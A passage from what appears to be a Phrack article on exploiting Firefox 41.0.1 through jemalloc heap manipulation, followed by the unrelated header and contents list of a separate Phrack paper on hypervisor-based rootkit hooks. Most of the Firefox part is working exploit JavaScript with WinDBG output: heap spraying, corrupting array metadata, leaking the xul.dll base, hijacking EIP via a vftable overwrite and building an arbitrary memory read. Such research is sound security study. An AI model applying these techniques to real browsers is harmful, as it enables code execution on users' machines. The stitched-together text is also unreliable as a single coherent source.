The container ArrayObject (A) is moved from the nursery to the tenured heap. If (2 + capacity) >= 17, then each one of the ArrayObject elements of the container are re‑allocated on the jemalloc heap. Since these are ArrayObjects, they have both contents and some metadata. The container remains on the tenured heap for the rest of its lifetime.

for(var i = 0; i < spray_size; i++)

{

container[i] = new Array();

for(var j = 0; j < 30; j += 2) // 30 * 8 == 240

{

container[i][j] = 0x45464645; container[i][j + 1] = 0x47484847;

}

}

The careful reader would notice something here. The condition to move an object to the jemalloc heap depends on the object's capacity. This sets a limit to which jemalloc size categories can be used for our purpose, based on the object's initial capacity. If you dig SpiderMonkey's code you will find that an ArrayObject with an initlen of 1 (a[0] = "A" for example) has a capacity of 6. Therefore, to satisfy the moving condition we have to preclude some of the small jemalloc size categories.

At this point let's use the shadow utility from within WinDBG to search the jemalloc heap for the content we have sprayed (edited for readability):

0:000> !py c:\\tmp\\pykd_driver jesearch ‑s 256 ‑c 45464645

[shadow] searching all current runs of size class 256 for 45464645

[shadow] found 45464645 at 0x141ad110 (run 0x141ad000, region 0x141ad100, region size 0256)

[shadow] found 45464645 at 0x141ad120 (run 0x141ad000, region 0x141ad100, region size 0256)

[shadow] found 45464645 at 0x141ad130 (run 0x141ad000, region 0x141ad100, region size 0256)

0:000> dd 141ad100 l?80

[ Metadata of a sprayed ArrayObject ]

flags initlen capacity length

141ad100 00000000 0000001e 0000001e 0000001e

[ Contents of the same sprayed ArrayObject ]

141ad110 45464645 ffffff81 47484847 ffffff81

141ad120 45464645 ffffff81 47484847 ffffff81

...

141ad1e0 45464645 ffffff81 47484847 ffffff81

141ad1f0 45464645 ffffff81 47484847 ffffff81

[ Metadata of another sprayed ArrayObject] flags initlen capacity length

141ad200 00000000 0000001e 0000001e 0000001e

[ and its data ]

141ad210 45464645 ffffff81 47484847 ffffff81

141ad220 45464645 ffffff81 47484847 ffffff81

0:000> !py c:\\tmp\\pykd_driver jeinfo 141ad200 [shadow] address 0x141ad200

...

[shadow] run 0x141ad000 is the current run of bin 0x00600608

[shadow] address 0x141ad200 belongs

to region 0x141ad200 (size class 0256)

We can see above that the ArrayObject elements of the container ArrayObject are indeed on the jemalloc heap and specifically on regions of size 256. Also, they are contiguous to each other.

‑‑‑‑[ 5.2 ‑ jemalloc feng shui

Heap feng shui refers to the manipulation of a heap with the goal of carefully arranging it (with selected objects) towards aiding exploitation [FSJ]. Armed with the knowledge of the previous sections, we can now:

1) Move our ArrayObjects off the nursery and onto the jemalloc heap along with their metadata.

2) Poke holes in the jemalloc runs, and trigger a garbage collection to actually make these holes reclaimable by subsequent allocations.

3) Reclaim the holes (since jemalloc is LIFO) and create useful heap arrangements.

Assuming we have a heap overflow vulnerability in a specific‑sized DOM class, we can continue towards implementing our methodology. As an example, I will use a typical Firefox DOM class that has a vtable and can be allocated easily from JavaScript. Using shadow we can look for such a DOM class whose objects have a size of 256 bytes:

0:000> !py c:\\tmp\\pykd_driver symbol

[shadow] usage: symbol [‑vjdx] <size>

[shadow] options:

[shadow] ‑v only class symbols with vtable [shadow] ‑j only symbols from SpiderMonkey [shadow] ‑d only DOM symbols

[shadow] ‑x only non‑SpiderMonkey symbols

0:000> !py c:\\tmp\\pykd_driver symbol ‑dv 256 [shadow] searching for DOM class symbols of size 256 with vtable ...

[shadow] 0x100 (256) class mozilla::dom::SVGImageElement (vtable: yes)

Continuing from where we left off in section 5.1, after spraying the jemalloc heap with ArrayObjects, we free every second allocation to create holes. We also trigger a garbage collection to make these holes reclaimable.

for(var i = 0; i < spray_size; i += 2)

{

delete(container[i]);

container[i] = null;

container[i] = undefined;

}

var gc_ret = trigger_gc();

We fill these holes with the example vulnerable object we have identified above, i.e. mozilla::dom::SVGImageElement. Our assumption is that we have a controlled (or semi‑controlled) heap overflow in some method of this class. We can trigger it either after the instantiation of each object, or after the allocation of all objects on a specific one.

for(var i = 0; i < spray_size; i += 2)

{

// SVGImageElement is a 0x100‑sized object

container[i] = \ document.createElementNS("http://www.w3.org/2000/svg", "image");

// trigger the overflow bug here in all allocations, e.g.:

// container[i].some_vulnerable_method();

}

// or, trigger the overflow bug here in a specific one, e.g.:

// container[1666].some_vulnerable_method();

Using shadow as before we can search for the controlled sprayed content of the ArrayObjects and make sure that our heap arrangement has succeeded; that is we have ArrayObjects and SVGImageElement objects one after the other contiguously on the jemalloc heap. The jerun command outputs a textual visualization of the regions of the requested run; their index, whether allocated (used) or not, address, and a 4‑byte preview of the content.

0:000> !py c:\\tmp\\pykd_driver jerun 0x15b11000 [shadow] searching for run 0x15b11000

[shadow] [run 0x15b11000] [size 016384] [bin 0x00600608] [region size 0256] [total regions 0063] [free regions 0000]

[shadow] [region 000] [used] [0x15b11100] [0x0] [shadow] [region 001] [used] [0x15b11200] [0x69e0cf70] [shadow] [region 002] [used] [0x15b11300] [0x0] [shadow] [region 003] [used] [0x15b11400] [0x69e0cf70] ...

Above we can see that the region at 15b11100 is the first region of the run, that it is allocated (used), and that its first 4 bytes are zero, corresponding to the flags of the ArrayObject. The next region at 15b11200 has a first dword of 69e0cf70, which is SVGImageElement's vftable pointer.

Let's examine in more detail:

0:000> dd 15b11100 l?80

[ Metadata of ArrayObject at region 000 ] flags initlen capacity length

15b11100 00000000 0000001e 0000001e 0000001e

[ Contents of the ArrayObject ]

15b11110 45464645 ffffff81 47484847 ffffff81

15b11120 45464645 ffffff81 47484847 ffffff81

...

15b111d0 45464645 ffffff81 47484847 ffffff81

15b111e0 45464645 ffffff81 47484847 ffffff81

15b111f0 45464645 ffffff81 47484847 ffffff81

[ SVGImageElement object at region 001 ]

15b11200 69e0cf70 69e0eba0 1a590ea0 00000000

15b11210 11bfc830 00000000 00020008 00000000

15b11220 00000000 00000000 15b11200 00000000

15b11230 00000007 00000000 00090000 00000000

15b11240 69e0d1f4 00000000 00000000 00000000

15b11250 00000000 00000000 69e0bd38 00000000

...

[ The next ArrayObject starts here, region 002] flags initlen capacity length

15b11300 00000000 0000001e 0000001e 0000001e

15b11310 45464645 ffffff81 47484847 ffffff81

15b11320 45464645 ffffff81 47484847 ffffff81

...

[ The SVGImageElement object at region 003 ]

15b11400 69e0cf70 69e0eba0 1a590ea0 00000000

...

0:000> dds 15b11200

15b11200 69e0cf70 xul!mozilla::dom::SVGImageElement::`vftable'

We have indeed managed to arrange the heap the way we wanted. The next step is to search for the ArrayObject whose metadata we have corrupted via the assumed SVGImageElement overflow bug. The following code snippet assumes that we have overwritten all the metadata (16 bytes) and have used 0x666 as the new value for initlen, capacity and length.

var pwned_index = 0;

for(var i = 0; i < spray_size; i += 2)

{

if(container[i].length > 500)

{

var pwnstr = "[*] corrupted array found at index: " + i; log(pwnstr);

pwned_index = i;

break;

}

}

Our corrupted ArrayObject now allows us to index the corresponding JavaScript array beyond its end, and into the neighboring SVGImageElement object. Since we have sprayed arrays of length 30 (0x1e), we can index into the first 8 bytes of the SVGImageElement object as a jsval of type double at index 30 (since at index 29 is the last element of the array).

0:000> dd 15b11300 l?80

[ Corrupted metadata of an ArrayObject ] flags initlen capacity length

15b11300 00000000 00000666 00000666 00000666

[ index 0 ] [ index 1 ]

15b11310 45464645 ffffff81 47484847 ffffff81

[ index 2 ] [ index 3 ]

15b11320 45464645 ffffff81 47484847 ffffff81

...

15b113c0 45464645 ffffff81 47484847 ffffff81

15b113e0 45464645 ffffff81 47484847 ffffff81

[ index 28 ] [ index 29 ]

15b113f0 45464645 ffffff81 47484847 ffffff81

[ index 30 ] [ index 31 ]

15b11400 69e0cf70 69e0eba0 1a590ea0 00000000

15b11410 11bfc830 00000000 00020008 00000000

[ index 35 ]

15b11420 00000000 00000000 15b11400 00000000

15b11430 00000007 00000000 00090000 00000000

...

15b114e0 e4000201 00000000 00000000 e4010301

15b114f0 06000106 00000001 00000000 e5e50000

0:000> g

[*] corrupted array found at index: 31147

‑‑‑‑[ 5.3 ‑ xul.dll base leak and our location in memory

We can read from index 30 above, but remember that because we are using an array to do so, the two 32‑bit values there are going to be treated as a double jsval (since the one 32‑bit value that corresponds to the type of the 64‑bit jsval is less than 0xFFFFFF80). Therefore, we need to implement two helper functions; one to read the 64‑bit value as a double and convert it to the corresponding raw bytes (named double_to_bytes()), and one to convert the raw bytes to their hexadecimal representation (named bytes_to_hex()). Reading from index 30 gives us a vftable pointer of SVGImageElement and we simply need to subtract from it the known non‑ASLRed pointer from xul.dll.

var val_hex = \ bytes_to_hex(double_to_bytes(container[pwned_index][30]));

var known_xul_addr = 0x121deba0; // 41.0.1 specific

var leaked_xul_addr = parseInt(val_hex[1], 16);

var aslr_offset = leaked_xul_addr ‑ known_xul_addr; var xul_base = 0x10000000 + aslr_offset;

var val_str = \

"[*] leaked xul.dll base address: 0x" + xul_base.toString(16);

log(val_str);

In the SVGImageElement object at address 15b11428 above, indexed with our corrupted array at index 35, there is a pointer to the start of the object itself (15b11400). Such pointers exist in most (if not all, I haven't checked them all automatically) Firefox DOM objects for garbage collection purposes. By leaking this address from index 35 of our corrupted array, we can learn the location of all these objects in the jemalloc heap. This can be very helpful for creating fake but valid objects (as we will doing in the sections below).

val_hex = \ bytes_to_hex(double_to_bytes(container[pwned_index][35]));

val_str = "[*] victim SVGImageElement object is at: 0x" + val_hex[0]; log(val_str);

Again we use the two helper functions for reading double jsvals and converting them to hexadecimal.

In WinDBG the output is (edited for readability):

0:000> g

[*] corrupted array found at index: 31147

[*] leaked xul.dll base address: 0x67c30000

[*] victim SVGImageElement object is at: 0x15b11400

Breakpoint 0 hit

eax=002cf801 ebx=1160b8b0 ecx=00000001 edx=00000002 esi=697f1386 edi=00000000 eip=697f1386 esp=0038cce0 ebp=0038cd6c iopl=0 nv up ei pl nz na po nc

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202

xul!js::math_asin:

697f1386 push ebp

0:000> lm m xul

start end module name

67c30000 6a162000 xul

Indeed we can verify with WinDBG's lm command that we have leaked the base of xul.dll correctly. Also we now know the address of our victim SVGImageElement object. The complete code for this is in file 'svg‑leak.html' in the archive.

‑‑‑‑[ 5.4 ‑ EIP control

Our corrupted ArrayObject can of course also be used for writing memory. In order to get EIP control, we can simply overwrite a vftable pointer of the SVGImageElement object and then call one of its methods. The exact values we have to add to or subtract from the leaked SVGImageElement object address depend on the method we are calling (and the version of xul.dll).

var obj_addr = \

parseInt(val_hex[0], 16); // our location in memory, see above

var deref_addr = obj_addr ‑ 0x1f4 + 0x4; // 41.0.1 specific

var target_eip = "41424344";

var write_val_bytes = \

hex_to_bytes(target_eip + deref_addr.toString(16));

var write_val_double = bytes_to_double(write_val_bytes); container[pwned_index][30] = write_val_double;

log("[*] calling a method of the corrupted SVGImageElement object");

for(var i = 0; i < spray_size; i += 2)

{

container[i].setAttribute("height", "100");

}

Since we don't know the exact index of SVGImageElement object we have corrupted, we call a method of all the objects we have sprayed.

After we have overwritten SVGImageElement's vftable, in WinDBG the situation looks like the following:

0:000> dd 15b11300 l?80

[ Corrupted metadata of an ArrayObject ] flags initlen capacity length

15b11300 00000000 00000666 00000666 00000666

[ index 0 ] [ index 1 ]

15b11310 45464645 ffffff81 47484847 ffffff81

[ index 2 ] [ index 3 ]

15b11320 45464645 ffffff81 47484847 ffffff81

...

15b113c0 45464645 ffffff81 47484847 ffffff81

15b113e0 45464645 ffffff81 47484847 ffffff81

[ index 28 ] [ index 29 ]

15b113f0 45464645 ffffff81 47484847 ffffff81

[ index 30 ] [ index 31 ]

15b11400 15b11210 41424344 1a590ea0 00000000

15b11410 11bfc830 00000000 00020008 00000000

[ index 35 ]

15b11420 00000000 00000000 15b11400 00000000

15b11430 00000007 00000000 00090000 00000000

...

15b114e0 e4000201 00000000 00000000 e4010301

15b114f0 06000106 00000001 00000000 e5e50000

0:000> g

[*] calling a method of the corrupted SVGImageElement object

(1084.a60): Access violation ‑ code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.

eax=15b11210 ebx=00000001 ecx=15b11400 edx=00000006 esi=1160b8b0 edi=15b11400 eip=41424344 esp=0032d2f0 ebp=0032d520 iopl=0 nv up ei pl zr na pe nc

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246

41424344 je 41424346 br=1]

We have EIP control, know the base of xul.dll, and can place arbitrary content on the heap at known addresses, therefore it is quite simple at this point to ROP our way to whatever makes us happy. See the file 'svg‑eip‑control.html' for the complete code.

‑‑‑‑[ 5.5 ‑ Arbitrary memory leak

Although we have achieved total control over the Firefox process, let's look at something that requires more fine‑grained control over the jemalloc heap. To demonstrate how jemalloc can be manipulated in detail, I will be describing how we can achieve the ability to read any number of bytes from any address we choose, i.e. an arbitrary memory leak.

For this purpose I will be using a constructed (i.e. fake) non‑inline string. In order to be able to read back from this fake string, I will also need to create a fake string‑type jsval that points to the fake non‑inline string, and index this jsval via the corrupted ArrayObject. The problem with this approach is that the corrupted ArrayObject cannot be used to write a fake string‑type jsval (or any other jsval); remember that there is no IEEE‑754 64‑bit double that corresponds to a 32‑bit encoded value greater than 0xFFF00000. This is required since in order to create a fake jsval string we need to write ffffff85 as its tag value (see the discussion on strings in section 2.1 if you are confused at this point).

So, we need to find another way to construct a fake string‑type jsval in controlled memory. What we can use is the reliability and the LIFO operation of jemalloc to create a more complex heap arrangement that will help us solve this problem. Specifically, I will add typed arrays to the methodology to utilize their fully controlled content. Although, as we have seen, I cannot place the metadata of a typed array in memory reachable by user‑controlled data, the actual data of a typed array (which are controlled to byte granularity) can be placed on jemalloc runs.

We start by spraying with ArrayObjects the 256‑sized jemalloc runs. Again, we have to bypass the nursery and move our objects to jemalloc, so the size of our spray is 16777216 / 256 == 65536 arrays.

var spray_size = 66000;

var container = new Array();

for(var i = 0; i < spray_size; i++)

{

container[i] = new Array();

for(var j = 0; j < 30; j += 2) // 30 * 8 == 240 bytes

{

container[i][j] = 0x45464645; container[i][j + 1] = 0x47484847;

}

}

This time, instead of creating a hole every other allocation, we create two holes for every ArrayObject we leave on the jemalloc heap. We also trigger a GC to make the holes reclaimable.

for(var i = 0; i < spray_size; i += 3)

{

delete(container[i]);

container[i] = null;

container[i] = undefined;

delete(container[i + 1]);

container[i + 1] = null;

container[i + 1] = undefined;

}

var gc_ret = trigger_gc();

Let's assume at this point that we have a breakpoint and look at how the jemalloc 256‑sized runs look like:

0:043> !py c:\tmp\pykd_driver jeruns ‑s 256

[shadow] listing allocated non‑current runs for size class 256 [shadow] [total non‑current runs 446]

[shadow] [run 0x0e507000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0000]

...

[shadow] [run 0x11d03000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042]

[shadow] [run 0x15f09000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042]

[shadow] [run 0x15f0d000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042]

[shadow] [run 0x15f11000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042]

[shadow] [run 0x15f15000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042]

[shadow] [run 0x15f19000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042]

...

Looking at one of these runs (in random) with shadow we see:

0:000> !py c:\tmp\pykd_driver jerun 0x15f15000 [shadow] searching for run 0x15f15000

[shadow] [run 0x15f15000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0042]

[shadow] [region 000] [free] [0x15f15100] [0xe5e5e5e5] [shadow] [region 001] [free] [0x15f15200] [0xe5e5e5e5] [shadow] [region 002] [used] [0x15f15300] [0x0] [shadow] [region 003] [free] [0x15f15400] [0xe5e5e5e5] [shadow] [region 004] [free] [0x15f15500] [0xe5e5e5e5] [shadow] [region 005] [used] [0x15f15600] [0x0] [shadow] [region 006] [free] [0x15f15700] [0xe5e5e5e5] [shadow] [region 007] [free] [0x15f15800] [0xe5e5e5e5] [shadow] [region 008] [used] [0x15f15900] [0x0] [shadow] [region 009] [free] [0x15f15a00] [0xe5e5e5e5] [shadow] [region 010] [free] [0x15f15b00] [0xe5e5e5e5] ...

Our hole punching has worked. Remember that e5e5e5e5 is the value used by Firefox for the sanitization of freed jemalloc regions. The used regions with the value 0x0 as their first dword are the ArrayObjects we have left on the heap.

We now reclaim these holes on the jemalloc heap with one SVGImageElement object and one Uint32Array typed array after each ArrayObject. We make sure the content of this typed array is of size 256 bytes so it goes on the jemalloc run we are targeting. At this point the actual content of the typed array doesn't matter.

for(var i = 0; i < spray_size; i += 3)

{

container[i] = \ document.createElementNS("http://www.w3.org/2000/svg", "image");

container[i + 1] = new Uint32Array(64);

for(var j = 0; j < 64; j++) // 64 * 4 == 256

{

container[i + 1][j] = 0x51575751;

}

}

Now, the same run from above looks like:

0:000> !py c:\tmp\pykd_driver jerun 0x15f15000 [shadow] searching for run 0x15f15000

[shadow] [run 0x15f15000] [size 016384] [bin 0x00700608] [region size 0256] [total regions 0063] [free regions 0000]

[shadow] [region 000] [used] [0x15f15100] [0x69e0cf70] [shadow] [region 001] [used] [0x15f15200] [0x51575751] [shadow] [region 002] [used] [0x15f15300] [0x0] [shadow] [region 003] [used] [0x15f15400] [0x69e0cf70] [shadow] [region 004] [used] [0x15f15500] [0x51575751] [shadow] [region 005] [used] [0x15f15600] [0x0] [shadow] [region 006] [used] [0x15f15700] [0x69e0cf70] [shadow] [region 007] [used] [0x15f15800] [0x51575751] [shadow] [region 008] [used] [0x15f15900] [0x0] [shadow] [region 009] [used] [0x15f15a00] [0x69e0cf70] [shadow] [region 010] [used] [0x15f15b00] [0x51575751] ...

[shadow] [region 014] [used] [0x15f15f00] [0x0] [shadow] [region 015] [used] [0x15f16000] [0x69e0cf70] [shadow] [region 016] [used] [0x15f16100] [0x51575751]

0:000> dd 0x15f15f00 l?90

[ ArrayObject ]

15f15f00 00000000 0000001e 0000001e 0000001e

15f15f10 45464645 ffffff81 47484847 ffffff81

15f15f20 45464645 ffffff81 47484847 ffffff81

15f15f30 45464645 ffffff81 47484847 ffffff81

15f15f40 45464645 ffffff81 47484847 ffffff81

15f15f50 45464645 ffffff81 47484847 ffffff81

15f15f60 45464645 ffffff81 47484847 ffffff81

15f15f70 45464645 ffffff81 47484847 ffffff81

15f15f80 45464645 ffffff81 47484847 ffffff81

15f15f90 45464645 ffffff81 47484847 ffffff81

15f15fa0 45464645 ffffff81 47484847 ffffff81

15f15fb0 45464645 ffffff81 47484847 ffffff81

15f15fc0 45464645 ffffff81 47484847 ffffff81

15f15fd0 45464645 ffffff81 47484847 ffffff81

15f15fe0 45464645 ffffff81 47484847 ffffff81

15f15ff0 45464645 ffffff81 47484847 ffffff81

[ SVGImageElement ]

15f16000 69e0cf70 69e0eba0 1652da20 00000000

15f16010 0d863c90 00000000 00020008 00000000

15f16020 00000000 00000000 15f16000 00000000

15f16030 00000007 00000000 00090000 00000000

15f16040 69e0d1f4 00000000 00000000 00000000

15f16050 00000000 00000000 69e0bd38 00000000

15f16060 69f680d4 e5e50000 69f680d4 e5e50000

15f16070 69f680d4 e5e50100 00000000 e5e5e5e5

15f16080 69e0c9d8 69e0c24c 00000000 00000000

15f16090 00000000 00000000 00000000 00000000

15f160a0 00000000 e5e5e5e5 00000000 00000000

15f160b0 00890001 e5000000 00000000 e5e5e5e5

15f160c0 00000000 00000000 e4000001 00000000

15f160d0 00000000 e4010101 00000000 00000000

15f160e0 e4000201 00000000 00000000 e4010301

15f160f0 06000106 00000001 00000000 e5e50000

[ Uint32Array contents ]

15f16100 51575751 51575751 51575751 51575751

15f16110 51575751 51575751 51575751 51575751

15f16120 51575751 51575751 51575751 51575751

15f16130 51575751 51575751 51575751 51575751

...

We have managed to create the arrangement we require; we have one ArrayObject (with its metadata and jsval contents), followed by an SVGImageElement object, followed by the contents of a Uint32Array. If we look at some other runs (of our targeted size, 256) we may see that in some of them the arrangement has not succeeded. That is the ArrayObject is followed by a Uint32Array, which is then followed by an SVGImageElement object. This happens sometimes, but it doesn't really affect us. As long as there is one run on which our arrangement has worked, our methodology can be applied. Below I will explain why some runs with incorrect arrangement do not pose a problem; just keep it in mind in case you have seen it with shadow and you are wondering.

Next we proceed with triggering our assumed heap overflow bug in an SVGImageElement method. This allows us to overwrite data from the SVGImageElement object onto the ArrayObject we placed after it (and of course the in‑between Uint32Array in this case). We then locate the pwned ArrayObject as we did in section 5.2, and use it to leak our location in memory as we did in 5.3 (see file 'arbitrary‑leak.html' in the archive for the complete code). We can now focus on transforming our relative leak to an arbitrary leak.

Since we know the address of the SVGImageElement object, we can calculate the address of the neighboring Uint32Array; it is 0x100 bytes after it. We can then create our fake string‑type jsval at the beginning of every Uint32Array we have sprayed. This fake jsval will point 0x10 bytes after the start of the Uint32Array. There we will create a fake non‑inline string with the arbitrary address we want to leak from. The JavaScript code for all these is the following:

// this is the leaked address of the SVGImageElement object

var obj_addr = parseInt(val_hex[0], 16);

// where we will place our fake non‑inline string

var fake_jsstring_addr = obj_addr + 0x110;

// create a fake string‑type jsval at the start

// of each sprayed Uint32Array object

for(var i = 0; i < spray_size; i += 3)

{

container[i + 1][0] = fake_jsstring_addr; container[i + 1][1] = 0xffffff85;

}

// at obj_addr + 0x110, which corresponds to [64] and [65],

// we create a fake non‑inline string

var read_len = "00000002"; // fake string size

write_val_bytes = hex_to_bytes(read_len + "00000049"); write_val_double = bytes_to_double(write_val_bytes); container[pwned_index][64] = write_val_double;

// we use the base of xul.dll as the arbitrary address to

// read from, since we know that the first two bytes there

// are "MZ" in ASCII

var read_addr = xul_base.toString(16);

write_val_bytes = hex_to_bytes("00000000" + read_addr); write_val_double = bytes_to_double(write_val_bytes); container[pwned_index][65] = write_val_double;

// let's read from our fake string, it is at index [62]

var leaked = "[*] leaked: " + container[pwned_index][62]; log(leaked);

The actual objects in memory after the execution of the above code are:

0:000> dd 0x15f15f00 l?90

[ Our corrupted ArrayObject ]

15f15f00 00000000 00000666 00000666 00000666

15f15f10 45464645 ffffff81 47484847 ffffff81

15f15f20 45464645 ffffff81 47484847 ffffff81

15f15f30 45464645 ffffff81 47484847 ffffff81

15f15f40 45464645 ffffff81 47484847 ffffff81

15f15f50 45464645 ffffff81 47484847 ffffff81

15f15f60 45464645 ffffff81 47484847 ffffff81

15f15f70 45464645 ffffff81 47484847 ffffff81

15f15f80 45464645 ffffff81 47484847 ffffff81

15f15f90 45464645 ffffff81 47484847 ffffff81

15f15fa0 45464645 ffffff81 47484847 ffffff81

15f15fb0 45464645 ffffff81 47484847 ffffff81

15f15fc0 45464645 ffffff81 47484847 ffffff81

15f15fd0 45464645 ffffff81 47484847 ffffff81

15f15fe0 45464645 ffffff81 47484847 ffffff81

15f15ff0 45464645 ffffff81 47484847 ffffff81

[ Our SVGImageElement object ]

15f16000 69e0cf70 69e0eba0 1652da20 00000000

15f16010 0d863c90 00000000 00020008 00000000

15f16020 00000000 00000000 15f16000 00000000

15f16030 00000007 00000000 00090000 00000000

15f16040 69e0d1f4 00000000 00000000 00000000

15f16050 00000000 00000000 69e0bd38 00000000

15f16060 69f680d4 e5e50000 69f680d4 e5e50000

15f16070 69f680d4 e5e50100 00000000 e5e5e5e5

15f16080 69e0c9d8 69e0c24c 00000000 00000000

15f16090 00000000 00000000 00000000 00000000

15f160a0 00000000 e5e5e5e5 00000000 00000000

15f160b0 00890001 e5000000 00000000 e5e5e5e5

15f160c0 00000000 00000000 e4000001 00000000

15f160d0 00000000 e4010101 00000000 00000000

15f160e0 e4000201 00000000 00000000 e4010301

15f160f0 06000106 00000001 00000000 e5e50000

[ The contents of our Uint32Array ]

[ string jsval ]

15f16100 15f16110 ffffff85 51575751 51575751

[ fake non‑inline string ] [ size ] [ addr ]

15f16110 00000049 00000002 67c30000 00000000

15f16120 51575751 51575751 51575751 51575751

15f16130 51575751 51575751 51575751 51575751

The output in WinDBG is:

[*] corrupted array found at index: 25649

[*] leaked xul.dll base address: 0x67c30000

[*] victim SVGImageElement object is at: 0x15f16000 [*] leaked: MZ

Since we used the address of the base of xul.dll (we previously leakd) as the arbitrary address to leak from, we get back "MZ" as we expected. At this point it should be clear why it doesn't matter if the heap arrangement didn't succeed in some jemalloc runs. We can keep trying to leak via our fake string jsvals that we placed in the beginning of all sprayed Uint32Arrays. We will only get back the expected "MZ" value from a jsval on a run that the heap arrangement succeeded. On runs that the arrangement didn't work (that is the Uint32Array is before the SVGImageElement object), trying to access index 62 (where we expect our fake string jsval to be) would simply return a double due to the two dwords there being interpreted as an IEEE‑754 jsval without a tag. This doesn't attempt to do dereference anything, therefore no crash can happen.

When we finally get back the "MZ" value, we can re‑use our fake string jsval to leak from whatever address we want.

// now we can re‑use the fake string‑type jsval

// to leak from another location

read_addr = "cafebabe"; // crash to demonstrate

write_val_bytes = hex_to_bytes("00000000" + read_addr); write_val_double = bytes_to_double(write_val_bytes); container[pwned_index][65] = write_val_double;

leaked = "[*] leaked: " + container[pwned_index][62]; log(leaked);

Our Uint32Array now looks like:

[ The contents of our Uint32Array ]

[ string jsval ]

15f16100 15f16110 ffffff85 51575751 51575751

[ fake non‑inline string ] [ size ] [ addr ]

15f16110 00000049 00000002 cafebabe 00000000

15f16120 51575751 51575751 51575751 51575751

15f16130 51575751 51575751 51575751 51575751

Trying to read from address cafebabe leads of course to a crash (just to demonstrate):

0:000> g

(858.f68): Access violation ‑ code c0000005 (first chance)

First chance exceptions are reported before any exception handling. This exception may be expected and handled.

eax=cafebac0 ebx=00000000 ecx=133bb7f4 edx=00000000 esi=00000002 edi=133bb7e0 eip=67df0192 esp=003ad120 ebp=cafebabe iopl=0 nv up ei pl nz na po nc

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202

xul!js::ConcatStrings<0>+0x178:

67df0192 mov al,byte ptr [ebp] ss:002b:cafebabe=??

We finally have a re‑usable arbitrary leak primitive and we also know the base of xul.dll. We can dynamically search for ROP gadgets and construct our ROP chain at exploit runtime in JavaScript.

‑‑‑‑[ 5.6 ‑ Use‑after‑free bugs

Exploiting use‑after‑free bugs with the presented methodology is a matter of reclaiming the jemalloc region left by the freed object with a typed array (Uint32Array). Then we use the fake object's methods to overwrite the metadata of a neighboring sprayed ArrayObject, and we apply the given methodology.

‑‑[ 6 ‑ Conclusion

Greetz and thankz to the Phrack Staff for bugging me to write this and for their very helpful review ;) The Immunity team during my dry run for Infiltrate also provided insightful comments.

Finally, bro sups to huku, nemo, the CENSUS crew and all the !fapperz.

‑‑[ 7 ‑ References

[INF] OR'LYEH? The Shadow over Firefox http://web.archive.org/web/20150403070544/http://infiltratecon.com/

speakers.html#firefox

[JSV] JS::Value https://developer.mozilla.org/en‑US/docs/Mozilla/Projects/

SpiderMonkey/JSAPI_Reference/JS::Value

[IFP] IEEE Standard for Floating‑Point Arithmetic (IEEE‑754) http://en.wikipedia.org/wiki/IEEE_floating_point

[JSO] JSObject https://developer.mozilla.org/en‑US/docs/Mozilla/Projects/

SpiderMonkey/JSAPI_reference/JSObject

[P2O] Advanced Exploitation of Mozilla Firefox Use‑After‑Free Vulnerability (Pwn2Own 2014) http://www.vupen.com/blog/

20140520.Advanced_Exploitation_Firefox_UaF_Pwn2Own_2014.php [REN] XSS and Beyond https://www.owasp.org/images/c/c3/20140617‑XSS_and_beyond‑Rene.pdf

[F32] Firefox Release 32.0 https://www.mozilla.org/en‑US/firefox/32.0/releasenotes/

[JSR] JSAPI User Guide https://developer.mozilla.org/en‑US/docs/Mozilla/Projects/

SpiderMonkey/JSAPI_User_Guide

[PSJ] Pseudomonarchia jemallocum http://www.phrack.org/issues/68/10.html

[UNJ] unmask_jemalloc https://github.com/argp/unmask_jemalloc

[SHD] shadow ‑

https://github.com/CENSUS/shadow

[FSJ] Heap Feng Shui in JavaScript http://www.phreedom.org/research/heap‑feng‑shui/heap‑feng‑shui.html

‑‑[ 8 ‑ Source code

begin 664 code.tar.gz

M'XL("(*@)U8"`V‑O9&4N=&%R`.P\:W?;MI+YNOP5J.[=M:18%/5.Y$<W3=+4 end

How to hide a hook

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x0f of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ How to hide a hook ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ A hypervisor for rootkits ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ uty <whensungoes@gmail.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ saman <saman.zonouz@rutgers.edu> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of contents

1. Introduction

2. Background

2.1 Intel VMX

2.2 EPT

3. How to make a hook invisible

3.1 Hypervisor setup

3.2 Memory 1:1 mapping

3.3 Two mappings for one page

3.4 User mode pages

3.5 Execute and read at the same page

3.6 Wakeup from sleep

4. Demo

4.1 A keylogger

4.2 Bypass PatchGuard

5. Other Applications

6. Greetings

7. References

8. Appendix: Code

